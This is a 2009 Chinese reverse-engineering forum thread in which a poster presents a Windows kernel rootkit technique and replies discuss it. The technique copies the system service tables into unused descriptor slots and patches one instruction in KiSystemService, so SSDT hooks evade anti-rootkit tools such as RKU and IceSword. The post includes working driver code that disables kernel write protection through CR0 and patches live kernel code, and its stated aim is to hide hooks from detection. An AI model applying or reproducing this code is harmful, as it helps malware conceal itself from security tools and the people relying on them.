首页
论坛
课程
招聘
雪    币: 200
活跃值: 活跃值 (15)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝

[系统底层] [原创]The Age-Old Art of SSDT Hooking(But Bypass Most ARK Tools...)

2009-1-11 22:07 11547

[系统底层] [原创]The Age-Old Art of SSDT Hooking(But Bypass Most ARK Tools...)

2009-1-11 22:07
11547
前天看到一篇同样标题的文章(我转载到其他地方也被BS),但后来被作者删了,我也来一篇共勉一下。

    SSDT HOOK是个很古老的话题了,基本上是ring0 rookit入门的第一课。我们先来重温一下系统服务表结构:
   
typedef struct _SERVICE_DESCRIPTOR_TABLE_SHADOW 
{
	SERVICE_DESCRIPTOR_TABLE  ntoskrnl;  //ntoskrnl.exe
	SERVICE_DESCRIPTOR_TABLE  win32k;    //win32k.sys 
  SERVICE_DESCRIPTOR_TABLE  NotUse1;   //未使用
	SERVICE_DESCRIPTOR_TABLE  NotUse2;   //未使用
}SERVICE_DESCRIPTOR_TABLE_SHADOW,*PSERVICE_DESCRIPTOR_TABLE_SHADOW;

     在KeServiceDescriptorTable中,只有ntoskrnl被使用,在KeServiceDescriptorTableShadow中,ntoskrnl及win32k都被使用,但如上,两个服务表都没有用到NotUse1、NotUse2,而且几乎所有SSDT HOOK检测工具都是检查前两项,当然了,绝少人会用到后两项。

       这里的思路是,复制ntoskrnl及win32k,将他们分别放到NotUse1及NotUse2,完了之后想办法让系统调用进入我们新建的NotUse1及NotUse2,这样我们修改复制后的表就可以实现SSDT HOOK,我们不需要对原表做任何修改,所以ARK工具也就检测不了了。

     上面思路一个难点就是让系统调用进入NotUse1及NotUse2而不是原来的ntoskrnl及win32k,很幸运,我在KiSystemService找到一个很好的地方如下:
inc     large dword ptr fs:638h //<--这里是用来纪录system calls的,没太大用处,可以替换掉
mov     esi, edx
mov     ebx, [edi+0Ch]          //<--edi保存的就是服务表中的ntoskrnl或者win32k
xor     ecx, ecx
mov     cl, [eax+ebx]
mov     edi, [edi]
mov     ebx, [edi+eax*4]
sub     esp, ecx
shr     ecx, 2
mov     edi, esp
cmp     esi, ds:_MmUserProbeAddress
//上面代码是XP系统的,其他windows系统也有类似代码

这里的做法是将指令 inc  large dword ptr fs:638h 改为 add edi,0x20,这样原先edi指向ntoskrnl或者win32k的就变成了指向NotUse1或者NotUse2,系统调用直接进入了我们的复制表。   
     测试结果,R.K.U、IceSword及我所用到的SSDT HOOK检测工具都检测不出。特别,上面花那么大力气修改inc  large dword ptr fs:638h指令就是避免了长跳转,使R.K.U无法发现代码已经被修改。
     
BOOLEAN
AddMyServiceTable(
				  )
{

	if( !g_bIsMyServiceTableCreated ){
		DbgPrint( "AddMyServiceTable() Create Service table first !\n" );
		return FALSE;
	}


	__asm{
		cli
		mov  eax,cr0
		and  eax,not 10000h
		mov  cr0,eax
	}

	RtlCopyMemory( (PVOID)&KeServiceDescriptorTable->NotUse1,
		           (PVOID)&mKeServiceDescriptorTable->ntoskrnl,
				   sizeof(SERVICE_DESCRIPTOR_TABLE)*2 );

	RtlCopyMemory( (PVOID)&KeServiceDescriptorTableShadow->NotUse1,
		           (PVOID)&mKeServiceDescriptorTableShadow->ntoskrnl,
				   sizeof(SERVICE_DESCRIPTOR_TABLE)*2 );

	__asm{
		mov  eax,cr0
		or   eax,10000h
		mov  cr0,eax
		sti
	}

	return TRUE;
}

BOOLEAN 
HookSysCall(
	)
{
	//add edi,20h
	//nop ....
	//
	UCHAR cHackCode[] = { 0x83,0xC7,0x20,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90 };

	KIRQL  oldIrql;

	if( g_bIsHooked )
		return TRUE;

	if( !g_bAddressInited ){
		DbgPrint( "Syscall address not inited\n" );
		return FALSE;
	}

	if( KiSystemService_hack_code_size > sizeof( cHackCode ) ){
		return FALSE;
	}

	
	__asm{
		cli
		mov  eax,cr0
		and  eax,not 10000h
		mov  cr0,eax
	}


	RtlCopyMemory( g_pSysCallOrigCode,(PVOID)KiSystemService_hack_address,KiSystemService_hack_code_size );
	
	KeRaiseIrql( DISPATCH_LEVEL,&oldIrql );

	RtlCopyMemory( (PVOID)KiSystemService_hack_address,cHackCode,KiSystemService_hack_code_size );

	KeLowerIrql( oldIrql );

	__asm{
		mov  eax,cr0
		or   eax,10000h
		mov  cr0,eax
		sti
	}

	g_bIsHooked =  TRUE;

	return TRUE;
}


//----------------------------------------------------------------------------
发文之前,我没有google baidu有没有人发过相似的文章,如有雷同,我也       肯定不会删。

HWS计划·2020安全精英夏令营来了!我们在华为松山湖欧洲小镇等你

最新回复 (19)
雪    币: 200
能力值: (RANK:650 )
在线值:
发帖
回帖
粉丝
shoooo 活跃值 16 2009-1-11 22:09
2
0
太强了,学习
雪    币: 38
活跃值: 活跃值 (10)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
炉子 活跃值 3 2009-1-11 22:21
3
0
直接挂了int 2e跟sysenter然后在自己的处理函数里面把eax加上0x2000再转跳到原始的处理函数中不结了?
雪    币: 200
活跃值: 活跃值 (15)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
wowelf 活跃值 2 2009-1-11 22:36
4
0
你试试R.K.U会不会报“强奸”
雪    币: 38
活跃值: 活跃值 (10)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
炉子 活跃值 3 2009-1-11 22:40
5
0
那你修改KiSystemService在code hooks里面不也得露出来?
不让rku报指针被修改无非是把int 2e & sysenter hook从修改idt/寄存器改为inline 而已。
雪    币: 200
活跃值: 活跃值 (15)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
wowelf 活跃值 2 2009-1-11 23:12
6
0
"特别,上面花那么大力气修改inc  large dword ptr fs:638h指令就是避免了长跳转,使R.K.U无法发现代码已经被修改。"  R.K.U是检测不到的,已经证实。
雪    币: 202
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
supertu 活跃值 2009-1-11 23:36
7
0
膜拜ing.......
雪    币: 1632
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
达文西 活跃值 2009-1-11 23:48
8
0
看不懂也支持
雪    币: 277
活跃值: 活跃值 (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
SkyJack 活跃值 2009-1-12 00:12
9
0
好文,学习ing.
雪    币: 203
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
flyingkiss 活跃值 2009-1-12 09:47
10
0
很淫荡。。。。
雪    币: 38
活跃值: 活跃值 (10)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
炉子 活跃值 3 2009-1-12 11:49
11
0
那就是rku的问题了,你用is扫一下应该能扫到
雪    币: 461
活跃值: 活跃值 (69)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
sudami 活跃值 25 2009-1-12 12:29
12
0
呵呵,思路不错. 一般的ARK不会在意这种没有跳转的修改.
雪    币: 208
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
绣绣 活跃值 2009-1-12 13:52
13
0
强,学习了,确实是一个技巧
利用SSDT后面的2个表
这样KiSystemService中就不用跳转了,知道偏移了,就直接把第一句改成Add edi,0x20(只占2个字节)即可。
如果是利用自己自制的表的话,免不了要跳转,因为mov edi,0xaaaaaaa 占6个字节,直接改代码肯定不行的
雪    币: 211
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zrhai 活跃值 2009-1-12 13:54
14
0
学习了,思路很新颖
雪    币: 424
活跃值: 活跃值 (58)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
starrysky 活跃值 2009-1-12 19:21
15
0
原来是这个意思~ 学习~
雪    币: 437
活跃值: 活跃值 (61)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
xss 活跃值 4 2009-1-15 12:48
16
0
学习一下小技巧,可能用的到
雪    币: 206
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
llmfei 活跃值 2009-7-16 20:48
17
0
尝试过你给的方法之后有两个问题要请教。
第一,我按照你的方法修改函数KiSystemService里面那一行汇编代码的话,立即出现蓝屏。不知道是怎么回事。那一行汇编代码的地址我用的是绝对地址,通过windbg获得的。地址应该是对的,因为我可以把代码正确Copy到别的地方。
第二,据我所知,对于Win2000可以采用你这种方法,对于WinXP好像就不行了,因为WinXP中Windows native API的调用是通过KiFastCallEntry来实现的。
雪    币: 303
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
bluecode 活跃值 2009-7-17 20:37
18
0
雪    币: 220
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
cqyxyxyx 活跃值 2009-7-17 20:51
19
0
值得学习....
雪    币: 2
活跃值: 活跃值 (15)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
wtxpwh 活跃值 1 2009-10-23 15:08
20
0
不错,确实是好文。不过有点小问题。
某些邪恶的程序会把ssdt复制一份出来并且添加了自己的系统调用,肯定是必蓝无疑。
没有记错的话,在执行 call  ebx就挂了。
游客
登录 | 注册 方可回帖
返回